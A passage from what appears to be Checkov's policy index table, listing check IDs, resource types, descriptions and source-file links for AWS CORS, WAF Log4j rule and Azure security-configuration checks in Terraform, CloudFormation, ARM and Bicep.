aws_vpn_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5391 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5392 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5393 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5394 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5395 | CKV2_AWS_75 | resource | aws_waf_byte_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5396 | CKV2_AWS_75 | resource | aws_waf_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5397 | CKV2_AWS_75 | resource | aws_waf_geo_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5398 | CKV2_AWS_75 | resource | aws_waf_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5399 | CKV2_AWS_75 | resource | aws_waf_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5400 | CKV2_AWS_75 | resource | aws_waf_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5401 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5402 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5403 | CKV2_AWS_75 | resource | aws_waf_regex_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5404 | CKV2_AWS_75 | resource | aws_waf_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5405 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5406 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5407 | CKV2_AWS_75 | resource | aws_waf_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5408 | CKV2_AWS_75 | resource | aws_waf_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5409 | CKV2_AWS_75 | resource | aws_waf_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5410 | CKV2_AWS_75 | resource | aws_waf_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5411 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5412 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5413 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5414 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5415 | CKV2_AWS_75 | resource | aws_waf_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5416 | CKV2_AWS_75 | resource | aws_waf_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5417 | CKV2_AWS_75 | resource | aws_waf_xss_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5418 | CKV2_AWS_75 | resource | aws_waf_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5419 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5420 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5421 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5422 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5423 | CKV2_AWS_75 | resource | aws_wafregional_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5424 | CKV2_AWS_75 | resource | aws_wafregional_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5425 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5426 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5427 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5428 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5429 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5430 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5431 | CKV2_AWS_75 | resource | aws_wafregional_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5432 | CKV2_AWS_75 | resource | aws_wafregional_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5433 | CKV2_AWS_75 | resource | aws_wafregional_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5434 | CKV2_AWS_75 | resource | aws_wafregional_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5435 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5436 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5437 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5438 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5439 | CKV2_AWS_75 | resource | aws_wafregional_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5440 | CKV2_AWS_75 | resource | aws_wafregional_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5441 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5442 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5443 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5444 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5445 | CKV2_AWS_75 | resource | aws_wafv2_ip_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5446 | CKV2_AWS_75 | resource | aws_wafv2_ip_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5447 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5448 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5449 | CKV2_AWS_75 | resource | aws_wafv2_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5450 | CKV2_AWS_75 | resource | aws_wafv2_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5451 | CKV2_AWS_75 | resource | aws_wafv2_web_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5452 | CKV2_AWS_75 | resource | aws_wafv2_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5453 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5454 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5455 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5456 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5457 | CKV2_AWS_75 | resource | aws_worklink_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5458 | CKV2_AWS_75 | resource | aws_worklink_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5459 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5460 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5461 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5462 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5463 | CKV2_AWS_75 | resource | aws_workspaces_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5464 | CKV2_AWS_75 | resource | aws_workspaces_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5465 | CKV2_AWS_75 | resource | aws_workspaces_ip_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5466 | CKV2_AWS_75 | resource | aws_workspaces_ip_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5467 | CKV2_AWS_75 | resource | aws_workspaces_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5468 | CKV2_AWS_75 | resource | aws_workspaces_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5469 | CKV2_AWS_75 | resource | aws_xray_encryption_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5470 | CKV2_AWS_75 | resource | aws_xray_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5471 | CKV2_AWS_75 | resource | aws_xray_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5472 | CKV2_AWS_75 | resource | aws_xray_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5473 | CKV2_AWS_75 | resource | aws_xray_sampling_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5474 | CKV2_AWS_75 | resource | aws_xray_sampling_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5475 | CKV2_AWS_76 | resource | aws_alb | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5476 | CKV2_AWS_76 | resource | aws_lb | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5477 | CKV2_AWS_76 | resource | aws_wafv2_web_acl | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5478 | CKV2_AWS_77 | resource | aws_api_gateway_stage | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5479 | CKV2_AWS_77 | resource | aws_apigatewayv2_api | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5480 | CKV2_AWS_77 | resource | aws_wafv2_web_acl | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5481 | CKV2_AWS_78 | resource | aws_appsync_graphql_api | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5482 | CKV2_AWS_78 | resource | aws_wafv2_web_acl | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability | Terraform | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml) | | 5483 | CKV_AZURE_1 | resource | Microsoft.Compute/virtualMachines | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | arm | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py) | | 5484 | CKV_AZURE_1 | resource | Microsoft.Compute/virtualMachines | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | Bicep | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py) | | 5485 | CKV_AZURE_1 | resource | azurerm_linux_virtual_machine | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py) | | 5486 | CKV_AZURE_1 | resource | azurerm_virtual_machine | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead) | Terraform | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py) | | 5487 | CKV_AZURE_2 | resource | Microsoft.Compute/disks | Ensure Azure managed disk have encryption enabled | arm | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py) | | 5488 | CKV_AZURE_2 | resource | Microsoft.Compute/disks | Ensure Azure managed disk have encryption enabled | Bicep | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py) | | 5489 | CKV_AZURE_2 | resource | azurerm_managed_disk | Ensure Azure managed disk has encryption enabled | Terraform | [AzureManagedDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py) | | 5490 | CKV_AZURE_3 | resource | Microsoft.Storage/storageAccounts | Ensure that 'supportsHttpsTrafficOnly' is set to 'true' | arm | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsTransportEncryption.py) | | 5491 | CKV_AZURE_3 | resource | Microsoft.Storage/storageAccounts | Ensure that 'supportsHttpsTrafficOnly' is set to 'true' | Bicep | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py) | | 5492 | CKV_AZURE_3 | resource | azurerm_storage_account | Ensure that 'enable_https_traffic_only' is enabled | Terraform | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py) | | 5493 | CKV_AZURE_4 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS logging to Azure Monitoring is Configured | arm | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py) | | 5494 | CKV_AZURE_4 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS logging to Azure Monitoring is Configured | Bicep | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py) | | 5495 | CKV_AZURE_4 | resource | azurerm_kubernetes_cluster | Ensure AKS logging to Azure Monitoring is Configured | Terraform | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py) | | 5496 | CKV_AZURE_5 | resource | Microsoft.ContainerService/managedClusters | Ensure RBAC is enabled on AKS clusters | arm | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py) | | 5497 | CKV_AZURE_5 | resource | Microsoft.ContainerService/managedClusters | Ensure RBAC is enabled on AKS clusters | Bicep | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py) | | 5498 | CKV_AZURE_5 | resource | 